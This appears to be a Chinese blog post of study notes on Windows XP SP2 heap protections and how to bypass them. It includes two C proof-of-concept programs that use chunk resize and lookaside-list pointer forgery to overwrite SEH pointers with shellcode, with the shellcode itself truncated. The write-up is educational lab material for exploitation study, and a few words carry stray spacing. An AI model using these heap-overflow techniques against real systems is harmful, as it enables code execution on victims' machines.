title: 重重保护下的堆:heap
date: 2018-03-18 17:40:58
categories:
微软在堆中也增加了一些安全校验操作:
微软在 XP SP2 之后不再使用固定的 PEB 基址 0x7ffdf000,而是使用具有一定随机性的 PEB 基址。
微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。
// 进行删除操作时,将提前验证堆块前向指针和后向指针的完整性,以防止发生 DWORD SHOOT
int safe_remove (ListNode * node){
if( (node->blink->flink==node)&&(node->flink->blink==node) ) {
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 1;
}else{
//链表指针被破坏,进入异常
return 0;
}
}
与栈中的 security cookie 类似,微软在堆中也引入了 cookie,用于检测 15 堆溢出的发生。
cookie 被布置在堆首部分原堆块的 segment table 的位置,占1个字节大小。
Windows V ista 及后续版本的操作系统中开始使用该安全措施。
块首中的一些重要数据在保存时会与一个 4 字节的随机数进行异或运算,在使用这些 数据时候需要再进行一次异或运行来还原
针对 PEB r andom 机制,指出这种变动只是 在 0x7FFDF000~0x7FFD4000 之间移动。
heap cookie,只有一个字节,其变化区间为 0~256,在研究其生成的随机算法之后,仍然存在被破解的可能。
但是即便有这些突破安全机制的思路,要想在 Windows XP SP2 以后系统上成功的利用堆 溢出漏洞仍然是一件难如登天的事情,因为这些思路一般都需要相当苛刻的条件。
堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容是不保护的。
如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,覆盖这些重要的内容 还是可以实现溢出的。
把一个 chunk 插入到 FreeList[n]的时候有没有进行校验。
如果我们能够伪造一个 chunk 并把它插入到 FreeList[n]上不就可以造成某种攻击了。
Safe Unlink 检测到 chunk 结构已经被破坏,它还是会允许后续的一些操作执行,例如重设 chunk 的大小。
LEA EAX,DWORD PTR DS:[EDI+8] //获取新chunk的Flink位置
MOV DWORD PTR SS:[EBP-F0],EAX
MOV EDX,DWORD PTR DS:[ECX+4] //*获取 伪造chunk->Blink 的值
MOV DWORD PTR SS:[EBP-F8],EDX
MOV DWORD PTR DS:[EAX],ECX //ECX指向伪造chunk->Flink位置 保存到 eax新chunk->Flink 的位置
MOV DWORD PTR DS:[EAX+4],EDX //*将伪造chunk->Blink保存到新chunk->Blink ,即要写入内存的地址
MOV DWORD PTR DS:[EDX],EAX //*将eax新chunk位置,写入指定内存
MOV DWORD PTR DS:[ECX+4],EAX //保存下一 chunk 中的 Blink
这实际上是一个向任意地址写入固定值的漏洞(DWORD SHOOT)。
将内存中的某个函数指针或者 S.E.H 处 理函数指针覆盖为 shellcode 的地址,可以实现溢出。
环境 | 备注 | |
---|---|---|
操作系统 | Windows XP Pro sp2 | |
编译环境 | VC++6.0 | |
buildd版本 | release版本 |
#include <stdio.h>
#include <windows.h>
void main(){
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99" // 改为\x90没有影响
"\xEB\x06\x3A\x00" "\x00\x06\x3A\x00"
//覆盖 Flink 和 Blink , 拆链表的时候需要读写, 所以需要可读写
// 0x3A06EB 即 Flink 控制 伪造chunk 的位置,
//读取伪造chunk->Blink 即要向哪个地址写数据, 将地址写入旧chunk->Blink
//然后跳到EB 03x1 , 跳到shellcode
// 见图1
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31"//跳转指令,跳过下面的垃圾代码
"\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //字节填充控制 伪造chunk位置
"\x11\x01\x10\x00\x99\x99\x99\x99" // 改为\x90没有影响
"AAAA"//伪造的 Flink 和 Blink 见图2
"\xE4\xFF\x12\x00"
"\xFC\x68\x6A\x0A\x38\x1E\x68 ........ " // shellocde ;
HLOCAL h1,h2;
HANDLE hp;
int zero=0;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
zero=1/zero;
printf("%d",zero);
}
图一:
图2:
http://www.cnblogs.com/zcc1414/p/3982381.html
http://www.wooy0ung.me/exploit/2017/12/31/exploit-by-chunk-resize/
《0day安全 软件漏洞分析技术第二版》15.3
Safe Unlink 对空表中双向链表进行了有效性验证,而对于快表中的单链表是没有进行验证的。
正常快表拆卸一个节点的过程:
借鉴前边链表拆卸过程中的指针伪造思路,如果控制 node->next 就控制了 Lookaside[n]-> next。
进而当用户再次申请空间的时候系统就会将这个伪造的地址作为申请空间的起始地址返 回给用户。
用户一旦向该空间里写入数据就会留下溢出的隐患。
环境 | 备注 | |
---|---|---|
操作系统 | Windows XP Pro SP2 | |
编译环境 | VC++6.0 | |
build版本 | release |
#include<stdio.h>
#include<windows.h>
void main(){
char shellcode []=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //填充
"\x03\x00\x03\x00\x5C\x01\x08\x99" //填充
"\xE4\xFF\x13\x00" //用默认异常处理函数指针所在位置覆盖
"shellcode ........ ";
HLOCAL h1,h2,h3;
HANDLE hp;
int zero=0;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3); // 快表的申请和释放都是在头部。
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x3A\x00",4); // \x90\x1E\x39\x00 向目标地址写入的地址
zero=1/zero;
printf("%d",zero);
}
http://blog.csdn.net/zcc1414/article/details/22397707
《0day安全 软件漏洞分析技术第二版》15.4